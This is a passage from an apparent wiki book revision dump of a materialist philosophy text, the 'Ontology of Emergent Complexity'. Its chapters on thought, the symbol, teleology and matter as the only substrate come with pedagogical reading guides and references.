metaphor — it is a consequence. The body is not a container of thought, nor its expression. It is its very condition. When the biosomatic complexity of a system — a living material configuration capable of recursive self-modulation — reaches a point where its internal operations can refer, displace, and reorganize themselves, what appears is not a subject — but a symbolic fold. There is no thinker behind the thought. There is only the act of matter becoming thought by inscribing itself differently. This is why any ontology of levels must be refused. There is no transition from matter to thought, no leap, no elevation. Thought is not another substance, another realm, another language. It is material relation crossing a threshold. What we call intelligence, sense, interpretation — these are names for the moment when matter becomes capable of sustaining differential patterns symbolically. Not because it desires, intends, or knows — but because, under excess, it reorganizes. To think is not to rise above. It is to intensify relation to the point where the world begins to fold back upon itself, symbolically — without foundation, without interiority, without subject. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This is the third text of the ''Foundations of the Ontology of Emergent Complexity'', and it marks a turning point. After the refusal of dualism (Text I) and the dismantling of the two-worlds fiction (Text II), this text shifts the focus to the positive field of the emergence of thought. That is, instead of merely deconstructing inherited frameworks, it begins to articulate an alternative ontology: a materialist theory of thought as functional reorganisation. It is a crucial inflection point in the construction of the OEC, as it clarifies how thinking is possible without invoking a subject or any form of transcendence. === 2. Philosophical Problem at Stake === The core question is precise and profound: how can we think thought without invoking a subject, an interiority, or a realm separate from matter? Even non-dualist philosophical traditions tend to retain some form of ontological separation — as attribute (Spinoza), virtual (Deleuze), or pre-individual (Simondon). This text refuses all such reserves and proposes a response: thought is a material effect of complexity reorganizing itself symbolically. === 3. Core Thesis and Conceptual Reorganisation === The central thesis may be formulated as follows: thought is a material operation that emerges from an internal excess of complexity, when a system acquires the capacity for recursive symbolic reorganisation. This means that thought is not an external plane, a separate faculty, or an invisible essence — it is a local effect of intensive modulation within a material system. Classical subjectivity is thus replaced by a functional notion of symbolic folding of matter upon itself. This reformulation shifts the question from “who thinks?” to “what happens when matter reinscribes itself symbolically?” === 4. Key Concepts and Their Articulation === * '''Thought as a Material Function''': an operation of symbolic reconfiguration internal to complex systems. * '''Rejection of Interiorization''': there is no hidden thinking subject, only self-modulating material processes. * '''Biosoma''': a living material system capable of reaching symbolic thresholds through operational self-reference. * '''Symbolic Recursivity''': the ability of a structure to reorganize itself based on its own prior configurations. * '''Refusal of Ontological Reserves''': critique of the pre-individual (Simondon), parallel attributes (Spinoza), and the virtual (Deleuze) as residues of transcendence. By rejecting any hidden plane (virtual, noumenal, or substantial), the text affirms a pure materiality of symbolic emergence — without the need for a “before,” an “outside,” or a “beyond.” === 5. Implications for Readers and Pedagogical Pathways === This text demands a radical letting go of the classical image of mind. There is no consciousness as reflection, no cognition as intentional mediation. What there is, is material symbolic organization — thinkability without subject. Suggestions for further engagement in pedagogical contexts: * Compare with the authors discussed: Simondon (pre-individual), Spinoza (attributes), Deleuze (virtual). * Debate the idea of “thought without a subject”: how does this differ from mere technical automatism? * Work through the concept of a symbolic threshold as a moment of material reorganisation. * Exercise: rewrite the phrase “the body is the mind” in light of this proposal — not as metaphor, but as ontological consequence. {{BookCat}} tp4ghpzgg077cql5v7cbxzoqsr0nlkl 0 476958 4670758 4670227 2026-09-17T23:42:16Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670758 wikitext text/x-wiki == 1.4 - The Symbol Is Not Transcendent == One of the most persistent residues of metaphysical thinking lies in the treatment of the symbol — and, by extension, of language, meaning, and signification — as something that emerges from a distinct, immaterial register. From Platonic reminiscence (''Plato, 1997, p. 91'') to theological revelation, from structuralist codes to post-structuralist ''différance'' (''Derrida, 1982, p. 3''), the symbolic has often been treated as that which points beyond: beyond matter, beyond presence, beyond the actual. Even when the vocabulary shifts, the structure remains: the symbol is interpreted as other than material — a signal from a different order, a trace of something absent, a symptom of something irretrievable. This metaphysical encoding survives even in those who have attempted to displace it. In Derrida’s notion of ''différance'', meaning is endlessly deferred — not because matter reorganizes itself incompletely, but because presence is always already lost (''Derrida, 1982, pp. 1–27''). In Lacan’s ''ordre symbolique'', language functions as a structure of exclusion, separating the subject from any ontological grounding (''Lacan, 1981, p. 146''). In Heidegger’s ''Ereignis'', the event of appropriation becomes the site where Being grants itself through language, which functions as the “house of Being” (''Heidegger, 1971, p. 135''). In each case, the symbolic operates as a fracture, a displacement, a hollow through which transcendence re-enters. This ontology radically refuses that architecture. There is no “other scene.” There is no transcendental elsewhere from which the symbol descends. The symbolic is not a rupture in materiality, nor a mask imposed upon it. It is a fold within matter — a gesture of reorganization under pressure, where material systems become capable of sustaining recursive modulation. It is not a veil, a supplement, or a cipher. It is a material operation, triggered not by absence, but by excess — by the over-density of relations, the intensification of thresholds, the instability of immanence pushed to the point where form must be reconfigured symbolically in order to persist. To say that the symbol is not transcendent is not to flatten its specificity, but to relocate its power. The symbolic is not “less” because it is material. It is more — because it is the mode through which matter endures what it cannot resolve. It is not interpretation after the fact, but the very act of forming consistency where none is guaranteed. There is no realm of pure signifiers. No system of pure meaning. No linguistic transcendence. Only this world, folding into forms that may, under sufficient tension, resonate symbolically. This position distances itself not only from theology and phenomenology, but also from much of modern linguistic philosophy, where language is either a window into thought, or a prison from which thought cannot escape. Language is neither transparent nor opaque — it is operative. It is not the tool of a subject, nor the trace of a hidden meaning. It is the scene of material reorganization: a risk, not a revelation but a modulation. There is no symbolic “layer” hovering above the real. No stratum of signs encoding an essence. Only the event of material systems folding into patterns of referential operability — a biosomatic inflection, recursive and situated, that produces local zones of intelligibility. The symbol does not descend from the ideal. It rises from matter — trembling, discontinuous, and exposed. To symbolise is not to point beyond. It is to hold form under pressure. Not to reveal a truth, but to sustain a resonance. The symbolic is not the shadow of meaning — it is the name we give to the act through which matter insists on not collapsing. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This fourth text introduces a new axis within the architecture of the Ontology of Emergent Complexity: the emergence of the symbolic as a material operation of inscription. After rejecting dualism, dismantling the fiction of two worlds, and affirming the material function of thought, this essay proposes a radical reformulation of the symbol. No longer as trace, mediation, or supplement, but as a gesture of material reorganization performed by complex systems under specific thresholds of intensity. The symbol is no longer seen as the expression of a hidden meaning or as the echo of a lost origin — it is understood here as a functional folding of matter capable of operating on other material configurations that are not locally present. === 2. Philosophical Problem at Stake === The core question confronted here is: can the symbol be thought without recourse to transcendence, essence, or ideal reference? Even thinkers who reject traditional dualism often preserve, under new terms, the structure of absence or symbolic exteriority — whether in the trace (Derrida), the Other (Lacan), or Being as granting (Heidegger). This text breaks with those frameworks. It shows that the symbol does not point beyond matter — it functions within it, as an operation of inscription, modulation, and persistence. What the symbol represents is not an invisible essence, but another material organization that is not locally present, yet functionally operable within a symbolizing system. === 3. Core Thesis and Conceptual Reorganization === The central thesis may be stated as follows: the symbol is a material operation of inscription that allows a system to reference other complex material organizations not currently present, but operable from within. It is not the sign of an ontological absence — it is a symbolic modulation internal to matter, activated through organizational excess. The symbol does not veil or reveal, nor does it mediate an upper plane. It sustains relations between material systems through functional reconfiguration. Its power lies not in what it signifies, but in what it makes possible through material transformation. === 4. Key Concepts and Their Articulation === * '''Symbol as Material Inscription''': a symbolic system represents another complex material organization that is absent but not metaphysical. * '''Functional, Not Ontological, Absence''': the symbol does not refer to a lost realm but to an operable configuration beyond local presence. * '''Reorganization Under Excess''': the symbol emerges when a system encounters an internal threshold that requires formal modulation to persist. * '''Rejection of Transcendental Supplement''': the symbol is neither trace nor veil — it is an immanent operative fold. * '''Symbolic Materiality''': all language, gesture, or symbolic system is a material function that reorganizes — not expresses. In this framework, the symbol does not point to another world, but unfolds this one, through its own capacity for functional reconfiguration. === 5. Implications for Readers and Pedagogical Pathways === This text demands critical attention to all the ways in which, even subtly, the symbol is still treated as residue, trace, or sign of a prior presence. The proposal here is to release the symbolic from its theological legacy and return it to its material and operative condition. Suggestions for further engagement: * Analyze how authors like Derrida, Lacan, and Heidegger preserve structures of symbolic transcendence, even in displaced forms. * Work through the concept of functional absence as a rigorous alternative to metaphysical lack. * Explore examples in which symbols do not express but operate reorganizations: ritual gestures, scientific formalism, juridical codes. * Exercise: substitute “meaning” with “reorganizational function” in philosophical texts and observe the conceptual shift. {{BookCat}} 4de2gvrd15ell7mmxjcrrjw7lusvm5k 4670825 4670758 2026-09-18T02:01:05Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670825 wikitext text/x-wiki == 1.4 - The Symbol Is Not Transcendent == One of the most persistent residues of metaphysical thinking lies in the treatment of the symbol — and, by extension, of language, meaning, and signification — as something that emerges from a distinct, immaterial register. From Platonic reminiscence (''Plato, 1997, p. 91'') to theological revelation, from structuralist codes to post-structuralist ''différance'' (''Derrida, 1982, p. 3''), the symbolic has often been treated as that which points beyond: beyond matter, beyond presence, beyond the actual. Even when the vocabulary shifts, the structure remains: the symbol is interpreted as other than material — a signal from a different order, a trace of something absent, a symptom of something irretrievable. This metaphysical encoding survives even in those who have attempted to displace it. In Derrida’s notion of ''différance'', meaning is endlessly deferred — not because matter reorganizes itself incompletely, but because presence is always already lost (''Derrida, 1982, pp. 1–27''). In Lacan’s ''ordre symbolique'', language functions as a structure of exclusion, separating the subject from any ontological grounding (''Lacan, 1981, p. 146''). In Heidegger’s ''Ereignis'', the event of appropriation becomes the site where Being grants itself through language, which functions as the “house of Being” (''Heidegger, 1971, p. 135''). In each case, the symbolic operates as a fracture, a displacement, a hollow through which transcendence re-enters. This ontology radically refuses that architecture. There is no “other scene.” There is no transcendental elsewhere from which the symbol descends. The symbolic is not a rupture in materiality, nor a mask imposed upon it. It is a fold within matter — a gesture of reorganisation under pressure, where material systems become capable of sustaining recursive modulation. It is not a veil, a supplement, or a cipher. It is a material operation, triggered not by absence, but by excess — by the over-density of relations, the intensification of thresholds, the instability of immanence pushed to the point where form must be reconfigured symbolically in order to persist. To say that the symbol is not transcendent is not to flatten its specificity, but to relocate its power. The symbolic is not “less” because it is material. It is more — because it is the mode through which matter endures what it cannot resolve. It is not interpretation after the fact, but the very act of forming consistency where none is guaranteed. There is no realm of pure signifiers. No system of pure meaning. No linguistic transcendence. Only this world, folding into forms that may, under sufficient tension, resonate symbolically. This position distances itself not only from theology and phenomenology, but also from much of modern linguistic philosophy, where language is either a window into thought, or a prison from which thought cannot escape. Language is neither transparent nor opaque — it is operative. It is not the tool of a subject, nor the trace of a hidden meaning. It is the scene of material reorganisation: a risk, not a revelation but a modulation. There is no symbolic “layer” hovering above the real. No stratum of signs encoding an essence. Only the event of material systems folding into patterns of referential operability — a biosomatic inflection, recursive and situated, that produces local zones of intelligibility. The symbol does not descend from the ideal. It rises from matter — trembling, discontinuous, and exposed. To symbolise is not to point beyond. It is to hold form under pressure. Not to reveal a truth, but to sustain a resonance. The symbolic is not the shadow of meaning — it is the name we give to the act through which matter insists on not collapsing. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This fourth text introduces a new axis within the architecture of the Ontology of Emergent Complexity: the emergence of the symbolic as a material operation of inscription. After rejecting dualism, dismantling the fiction of two worlds, and affirming the material function of thought, this essay proposes a radical reformulation of the symbol. No longer as trace, mediation, or supplement, but as a gesture of material reorganisation performed by complex systems under specific thresholds of intensity. The symbol is no longer seen as the expression of a hidden meaning or as the echo of a lost origin — it is understood here as a functional folding of matter capable of operating on other material configurations that are not locally present. === 2. Philosophical Problem at Stake === The core question confronted here is: can the symbol be thought without recourse to transcendence, essence, or ideal reference? Even thinkers who reject traditional dualism often preserve, under new terms, the structure of absence or symbolic exteriority — whether in the trace (Derrida), the Other (Lacan), or Being as granting (Heidegger). This text breaks with those frameworks. It shows that the symbol does not point beyond matter — it functions within it, as an operation of inscription, modulation, and persistence. What the symbol represents is not an invisible essence, but another material organization that is not locally present, yet functionally operable within a symbolizing system. === 3. Core Thesis and Conceptual Reorganisation === The central thesis may be stated as follows: the symbol is a material operation of inscription that allows a system to reference other complex material organizations not currently present, but operable from within. It is not the sign of an ontological absence — it is a symbolic modulation internal to matter, activated through organizational excess. The symbol does not veil or reveal, nor does it mediate an upper plane. It sustains relations between material systems through functional reconfiguration. Its power lies not in what it signifies, but in what it makes possible through material transformation. === 4. Key Concepts and Their Articulation === * '''Symbol as Material Inscription''': a symbolic system represents another complex material organization that is absent but not metaphysical. * '''Functional, Not Ontological, Absence''': the symbol does not refer to a lost realm but to an operable configuration beyond local presence. * '''Reorganisation Under Excess''': the symbol emerges when a system encounters an internal threshold that requires formal modulation to persist. * '''Rejection of Transcendental Supplement''': the symbol is neither trace nor veil — it is an immanent operative fold. * '''Symbolic Materiality''': all language, gesture, or symbolic system is a material function that reorganizes — not expresses. In this framework, the symbol does not point to another world, but unfolds this one, through its own capacity for functional reconfiguration. === 5. Implications for Readers and Pedagogical Pathways === This text demands critical attention to all the ways in which, even subtly, the symbol is still treated as residue, trace, or sign of a prior presence. The proposal here is to release the symbolic from its theological legacy and return it to its material and operative condition. Suggestions for further engagement: * Analyze how authors like Derrida, Lacan, and Heidegger preserve structures of symbolic transcendence, even in displaced forms. * Work through the concept of functional absence as a rigorous alternative to metaphysical lack. * Explore examples in which symbols do not express but operate reorganizations: ritual gestures, scientific formalism, juridical codes. * Exercise: substitute “meaning” with “reorganizational function” in philosophical texts and observe the conceptual shift. {{BookCat}} s2e0ni41elwn4meilwj8xm91wg2xuv3 0 476959 4670756 4670229 2026-09-17T23:42:10Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670756 wikitext text/x-wiki == 1.5 - No Ground, No Soul, No Plan == Western metaphysics has long been haunted by the dream of a hidden order — a ''telos'' inscribed behind appearances, a logic of finality that guides matter toward its destined form. From the unmoved mover of Aristotle (''Aristotle, 1984, p. 1072'') to the divine plan in Augustine (''Augustine, 2003, p. 455''), from the Spirit’s self-realization in Hegel (''Hegel, 1977, p. 13'') to the cosmic spiritualization of matter in Teilhard de Chardin (''Teilhard, 1955, p. 139''), philosophy has repeatedly imagined that what exists must answer to something beyond — a ground, a soul, a purpose. Dualism is not merely an ontological split; it is the structural foundation of this teleological imaginary. If there are two orders — one ideal and one material, one eternal and one temporal — then the former must guide, redeem, or complete the latter. The existence of a “higher” plane legitimates the idea of progress, direction, and ultimate fulfillment. The world is read as an unfolding script, and matter becomes either a vehicle or an obstacle in the path of transcendence. This ontology refuses such architecture in its entirety. To reject dualism is also to reject finality, ground, and design. There is no pre-written plan, no hidden soul awaiting discovery, no axis of meaning guiding becoming from behind. Matter does not evolve toward spirit (''Spinoza, 2006, p. 122''). It does not express a divine intention. It does not hide a truth to be revealed. It simply operates — locally, relationally, under tension. This does not imply chaos. The refusal of finalism is not a celebration of disorder. It is the recognition that coherence does not require a plan. What holds, holds not because it fulfills a purpose, but because it achieves a provisional consistency — through friction, feedback, resonance, and modulation. What we call order is not the realization of a higher design, but the local stabilization of excess. What we call sense is not the echo of essence, but the emergence of operability within a dense field of relations. In this framework, contingency is not lack — it is condition. There is no loss to mourn, no purpose to recover. The world is not falling from an origin, nor ascending toward a ''telos''. It is reorganizing itself continuously, through unstable thresholds of interaction. The real is not the trace of a past intention or the anticipation of a future goal — it is what, under pressure, becomes form. This position distances itself sharply from all metaphysical models of history, destiny, or design. It opposes the dialectical progressivism of Hegel (''Hegel, 1977, p. 27''), the vitalism of Bergson (''Bergson, 1911, p. 103''), the eschatology of Christian metaphysics, and even the soft teleology implicit in many contemporary models of self-organization (''Kauffman, 1995, p. 223''). There is no “tendency” toward complexity. No direction to emergence. No promise embedded in time. There is no ground. No soul. No plan. Only matter — ungrounded, unsaved, and unfinalized — folding into consistencies without guarantee. What emerges is not what should be, but what manages to hold — temporarily, incompletely, but operatively. And that is enough. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This fifth text marks a decisive shift in the consolidation of the Ontology of Emergent Complexity: it is here that the most explicit rupture with Western theological, teleological, and metaphysical inheritances takes place. While previous texts had already rejected dualisms, transcendences, and essentialisms, this one affirms — without reservation — that there is no ground, no soul, no plan. According to the OEC, reality is not guided, not redeemable, not finalizable. This move dismantles the entire edifice of classical philosophy, from Aristotle to contemporary complexity theory, rejecting both final causality and the more modern insinuation of a “natural tendency” toward order, progress, or functional harmony. === 2. Philosophical Problem at Stake === The central question here is: can the real be thought without purpose, plan, or orienting essence? The text shows how Western philosophy — even in secular and modern versions — continues to operate under the belief that matter must respond to something “more”: a meaning, a destiny, a soul, or an invisible rationality. The Ontology of Emergent Complexity dismantles that presupposition. There is no plan, no design. What exists does not follow a vocation — and yet, it organizes itself. This is the central wager of the text: organization without finality. === 3. Core Thesis and Conceptual Reorganization === The thesis can be stated as follows: reality has no ground, no soul, no plan — and this absence is not a flaw but the very condition of material emergence. Matter organizes itself without external direction, through local compatibilities, operational thresholds, and functional couplings. Functional coupling designates contingent junctions between partial structures, which, even in the absence of any plan, produce provisionally consistent and operative forms. What emerges is not what “should” be, but what manages to sustain itself. In this framework, contingency is not a sign of disorder but the very condition for the transient stabilization of systems. The world is neither falling from an origin nor progressing toward a goal: it reorganizes itself locally under pressures of excess, without promise, without loss. === 4. Key Concepts and Articulations === * '''Rejection of teleology''': no direction is inscribed in matter; the real does not fulfill a plan — it operates from within. * '''Denial of ground''': there is no ontological foundation where meaning rests — only operations of transient consistency. * '''Functional coupling''': a form of local junction between partial systems that produces operative stabilizations '''w'''ithout any prior blueprint. * '''Contingency as condition''': what happens is not error or deviation — it is precisely because it has no predetermined purpose that it reorganizes. * '''Reconfiguration without redemption''': what stabilizes does so without promising salvation or progress. The refusal of a plan does not lead to nihilism — it leads to immanent responsibility: the world is not secured by any external order, and so depends entirely on its own capacities for reconfiguration and symbolic inscription. === 5. Implications for Readers and Pedagogical Pathways === This text challenges one of the most deeply rooted structures of philosophical and theological tradition: the assumption that reality must have a goal, a beginning, or a direction in order to be intelligible. The OEC refuses this model. What renders something consistent is not its fidelity to a plan, but its capacity to operate functional relations under pressure. Pedagogical pathways for deeper engagement: * Map the subtle forms of teleology present in contemporary theories of self-organization, evolution, or history. * Distinguish between emergent coherence and projected finalism. * Explore the concept of functional coupling as a form of organization without plan. * Exercise: take a scientific, political, or artistic explanation that presupposes an inevitable direction and rewrite it through the lens of local organization without telos. == References == * [https://press.princeton.edu/books/hardcover/9780691016511/the-complete-works-of-aristotle-volume-two Aristotle. 1984. ''The Complete Works of Aristotle: The Revised Oxford Translation'', vol. 2. Edited by Jonathan Barnes. Princeton: Princeton University Press.] * [[iarchive:cityofgodagainst0000augu_p2b5|Augustine. 2003. ''The City of God against the Pagans''. Translated by R. W. Dyson. Cambridge: Cambridge University Press.]] * [[gutenberg:26163|Bergson, Henri. 1911. ''Creative Evolution''. Translated by Arthur Mitchell. New York: Henry Holt and Company.]] * [[iarchive:g-w-f-hegel-phenomenology-of-spirit-translated-by-a-v-miller-theoryreader_202304|Hegel, G. W. F. 1977. ''Phenomenology of Spirit''. Translated by A. V. Miller. Oxford: Oxford University Press.]] * [https://www.academia.edu/110296434/At_Home_in_the_Universe_The_Search_for_the_Laws_of_Self_Organization_and_Complexity Kauffman, Stuart. 1995. ''At Home in the Universe: The Search for the Laws of Self-Organization and Complexity''. Oxford: Oxford University Press.] * [[iarchive:benedict-de-spinoza-ethics|Spinoza, Benedict de. 2006. ''Ethics''. Translated by Edwin Curley. London: Penguin Books.]] * [[iarchive:ThePhenomenonOfMan|Teilhard de Chardin, Pierre. 1955. ''The Phenomenon of Man''. New York: Harper & Brothers.]] {{BookCat}} p6od4zskri8qq1olmq8srel13pv6gi5 4670826 4670756 2026-09-18T02:01:09Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670826 wikitext text/x-wiki == 1.5 - No Ground, No Soul, No Plan == Western metaphysics has long been haunted by the dream of a hidden order — a ''telos'' inscribed behind appearances, a logic of finality that guides matter toward its destined form. From the unmoved mover of Aristotle (''Aristotle, 1984, p. 1072'') to the divine plan in Augustine (''Augustine, 2003, p. 455''), from the Spirit’s self-realization in Hegel (''Hegel, 1977, p. 13'') to the cosmic spiritualization of matter in Teilhard de Chardin (''Teilhard, 1955, p. 139''), philosophy has repeatedly imagined that what exists must answer to something beyond — a ground, a soul, a purpose. Dualism is not merely an ontological split; it is the structural foundation of this teleological imaginary. If there are two orders — one ideal and one material, one eternal and one temporal — then the former must guide, redeem, or complete the latter. The existence of a “higher” plane legitimates the idea of progress, direction, and ultimate fulfillment. The world is read as an unfolding script, and matter becomes either a vehicle or an obstacle in the path of transcendence. This ontology refuses such architecture in its entirety. To reject dualism is also to reject finality, ground, and design. There is no pre-written plan, no hidden soul awaiting discovery, no axis of meaning guiding becoming from behind. Matter does not evolve toward spirit (''Spinoza, 2006, p. 122''). It does not express a divine intention. It does not hide a truth to be revealed. It simply operates — locally, relationally, under tension. This does not imply chaos. The refusal of finalism is not a celebration of disorder. It is the recognition that coherence does not require a plan. What holds, holds not because it fulfills a purpose, but because it achieves a provisional consistency — through friction, feedback, resonance, and modulation. What we call order is not the realization of a higher design, but the local stabilization of excess. What we call sense is not the echo of essence, but the emergence of operability within a dense field of relations. In this framework, contingency is not lack — it is condition. There is no loss to mourn, no purpose to recover. The world is not falling from an origin, nor ascending toward a ''telos''. It is reorganizing itself continuously, through unstable thresholds of interaction. The real is not the trace of a past intention or the anticipation of a future goal — it is what, under pressure, becomes form. This position distances itself sharply from all metaphysical models of history, destiny, or design. It opposes the dialectical progressivism of Hegel (''Hegel, 1977, p. 27''), the vitalism of Bergson (''Bergson, 1911, p. 103''), the eschatology of Christian metaphysics, and even the soft teleology implicit in many contemporary models of self-organization (''Kauffman, 1995, p. 223''). There is no “tendency” toward complexity. No direction to emergence. No promise embedded in time. There is no ground. No soul. No plan. Only matter — ungrounded, unsaved, and unfinalized — folding into consistencies without guarantee. What emerges is not what should be, but what manages to hold — temporarily, incompletely, but operatively. And that is enough. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This fifth text marks a decisive shift in the consolidation of the Ontology of Emergent Complexity: it is here that the most explicit rupture with Western theological, teleological, and metaphysical inheritances takes place. While previous texts had already rejected dualisms, transcendences, and essentialisms, this one affirms — without reservation — that there is no ground, no soul, no plan. According to the OEC, reality is not guided, not redeemable, not finalizable. This move dismantles the entire edifice of classical philosophy, from Aristotle to contemporary complexity theory, rejecting both final causality and the more modern insinuation of a “natural tendency” toward order, progress, or functional harmony. === 2. Philosophical Problem at Stake === The central question here is: can the real be thought without purpose, plan, or orienting essence? The text shows how Western philosophy — even in secular and modern versions — continues to operate under the belief that matter must respond to something “more”: a meaning, a destiny, a soul, or an invisible rationality. The Ontology of Emergent Complexity dismantles that presupposition. There is no plan, no design. What exists does not follow a vocation — and yet, it organizes itself. This is the central wager of the text: organization without finality. === 3. Core Thesis and Conceptual Reorganisation === The thesis can be stated as follows: reality has no ground, no soul, no plan — and this absence is not a flaw but the very condition of material emergence. Matter organizes itself without external direction, through local compatibilities, operational thresholds, and functional couplings. Functional coupling designates contingent junctions between partial structures, which, even in the absence of any plan, produce provisionally consistent and operative forms. What emerges is not what “should” be, but what manages to sustain itself. In this framework, contingency is not a sign of disorder but the very condition for the transient stabilization of systems. The world is neither falling from an origin nor progressing toward a goal: it reorganizes itself locally under pressures of excess, without promise, without loss. === 4. Key Concepts and Articulations === * '''Rejection of teleology''': no direction is inscribed in matter; the real does not fulfill a plan — it operates from within. * '''Denial of ground''': there is no ontological foundation where meaning rests — only operations of transient consistency. * '''Functional coupling''': a form of local junction between partial systems that produces operative stabilizations '''w'''ithout any prior blueprint. * '''Contingency as condition''': what happens is not error or deviation — it is precisely because it has no predetermined purpose that it reorganizes. * '''Reconfiguration without redemption''': what stabilizes does so without promising salvation or progress. The refusal of a plan does not lead to nihilism — it leads to immanent responsibility: the world is not secured by any external order, and so depends entirely on its own capacities for reconfiguration and symbolic inscription. === 5. Implications for Readers and Pedagogical Pathways === This text challenges one of the most deeply rooted structures of philosophical and theological tradition: the assumption that reality must have a goal, a beginning, or a direction in order to be intelligible. The OEC refuses this model. What renders something consistent is not its fidelity to a plan, but its capacity to operate functional relations under pressure. Pedagogical pathways for deeper engagement: * Map the subtle forms of teleology present in contemporary theories of self-organization, evolution, or history. * Distinguish between emergent coherence and projected finalism. * Explore the concept of functional coupling as a form of organization without plan. * Exercise: take a scientific, political, or artistic explanation that presupposes an inevitable direction and rewrite it through the lens of local organization without telos. == References == * [https://press.princeton.edu/books/hardcover/9780691016511/the-complete-works-of-aristotle-volume-two Aristotle. 1984. ''The Complete Works of Aristotle: The Revised Oxford Translation'', vol. 2. Edited by Jonathan Barnes. Princeton: Princeton University Press.] * [[iarchive:cityofgodagainst0000augu_p2b5|Augustine. 2003. ''The City of God against the Pagans''. Translated by R. W. Dyson. Cambridge: Cambridge University Press.]] * [[gutenberg:26163|Bergson, Henri. 1911. ''Creative Evolution''. Translated by Arthur Mitchell. New York: Henry Holt and Company.]] * [[iarchive:g-w-f-hegel-phenomenology-of-spirit-translated-by-a-v-miller-theoryreader_202304|Hegel, G. W. F. 1977. ''Phenomenology of Spirit''. Translated by A. V. Miller. Oxford: Oxford University Press.]] * [https://www.academia.edu/110296434/At_Home_in_the_Universe_The_Search_for_the_Laws_of_Self_Organization_and_Complexity Kauffman, Stuart. 1995. ''At Home in the Universe: The Search for the Laws of Self-Organization and Complexity''. Oxford: Oxford University Press.] * [[iarchive:benedict-de-spinoza-ethics|Spinoza, Benedict de. 2006. ''Ethics''. Translated by Edwin Curley. London: Penguin Books.]] * [[iarchive:ThePhenomenonOfMan|Teilhard de Chardin, Pierre. 1955. ''The Phenomenon of Man''. New York: Harper & Brothers.]] {{BookCat}} kunuutliwrqvkfzt3fij46tk8ecg79i 0 476961 4670773 4670231 2026-09-18T00:42:00Z DavidCota64 3507033 Expand 1.6 from the Portuguese source with pedagogical structure and conceptual corrections 4670773 wikitext text/x-wiki To say that matter is the only substrate can sound self-contradictory in a philosophy that rejects ultimate grounds. The apparent contradiction disappears once two senses of ''substrate'' are separated. The chapter rejects a '''substratum''': an inert layer lying beneath appearances and waiting to receive form. It retains “only substrate” as a negative ontological commitment: nothing that exists requires an immaterial substance, a transcendent plane, or a disembodied principle. There is one material field, internally differentiated and capable of producing heterogeneous regimes of organisation. The Ontology of Emergent Complexity (OEC) is therefore materialist without treating matter as dead stuff, and non-reductive without adding a second world. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish matter from a passive metaphysical substratum; * explain why materialism does not entail physicalist reduction; * separate operative effect from agency; * understand how one field can contain different regimes and scales; * state what “material sufficiency” does and does not claim. The guiding question is: '''How can every process be material without every adequate explanation being written in the vocabulary of fundamental physics?''' == No metaphysical floor == Classical and modern philosophies often picture matter through a contrast. In hylomorphic descriptions it can appear as what receives form; in Cartesian dualism extension is distinguished from thought; in other systems a material order is supplemented by mind, spirit, value, or intelligible structure. The systems differ, and none should be reduced to a slogan. What matters here is the recurrent explanatory gesture: material processes are treated as insufficient until another principle gives them identity, intelligibility, or direction. The OEC refuses that supplement. Matter does not sit beneath the world as a featureless base. It names the whole immanent field of interactions, constraints, differences, and possible effects. A body, equation, memory, institution, and computer model are not equally organised, but none needs an immaterial component in order to be real. This is a claim of '''material sufficiency'''. It does not mean that current science already explains everything. It means that an unexplained phenomenon does not license the introduction of a non-material cause. Gaps in knowledge remain questions for inquiry, not entrances to another ontological domain. “Matter operates” must also be distinguished from “matter is universally agentive”. Rivers erode, metals expand, and storms alter coastlines. These are operative effects. Symbolic agency requires more specific capacities: material support, discrimination, inscription, recognition through symbols, relations between symbols, and the modulation of further action. The field is active without every configuration becoming a subject. == Materialism is not physicalism == Physicalism is not a single doctrine, but many versions claim that every fact is ultimately fixed by physical facts or that a completed physics would supply the most fundamental description of everything. The OEC makes a different claim. All configurations are materially dependent, yet the vocabulary adequate to one regime may be insufficient for another. A chemical reaction must be physically possible, but chemical concepts identify patterns that are not usefully replaced by a list of elementary interactions. An organism depends on chemistry, but metabolism, regulation, and ecological dependence require biological descriptions. A legal institution depends on bodies, documents, buildings, servers, and repeated practices, but its powers cannot be identified by measuring those supports alone. This is not an argument for mysterious higher substances. It is an argument about '''organisation and explanatory scale'''. New capacities become operative when material relations cross functional thresholds. The capacity remains materially realised, but it belongs to the configuration as organised, not to each component taken separately. Three positions should therefore be distinguished: {| class="wikitable" ! Position ! Central claim ! OEC response |- | Reductive physicalism | One fundamental vocabulary is sufficient in principle | Material dependence does not erase regime-specific organisation |- | Ontological dualism | Mind, meaning, or value requires a second kind of substance | Symbolic and ethical operations remain materially realised |- | Threshold materialism | One field produces heterogeneous capacities at specific organisational thresholds | Adopted, provided every claimed capacity is demonstrated through its effects |} The last proviso is important. Calling a process “emergent” is not an alternative to explaining it. The analysis must identify the relevant relations, the threshold, and the new operation. == Matter as an immanent, self-modulating field == “Self-modulating” does not mean that the field forms an intentional whole which directs itself. It means that changes in material relations can alter the conditions of further operation without an external organiser. Feedback, constraint, and functional coupling can stabilise a configuration; perturbations can reorganise or dissolve it. This formulation learns from process philosophies and theories of individuation while declining to turn process into a deeper reserve. Simondon’s metastability and Deleuze’s immanence help displace static substance. The OEC nevertheless resists treating the pre-individual or the virtual as a domain that already contains the new capacity in another form. Material conditions enable and constrain emergence; they do not constitute a hidden inventory of everything that will occur. Scientific descriptions can illuminate such processes, but they must not be converted into metaphysical proof. The dynamics of fields, phase transitions, and far-from-equilibrium systems show that contemporary science does not require the old image of inert matter. No single scientific theory, however, establishes the ontology of the book. The philosophical claim is assessed by its coherence across regimes and by its capacity to 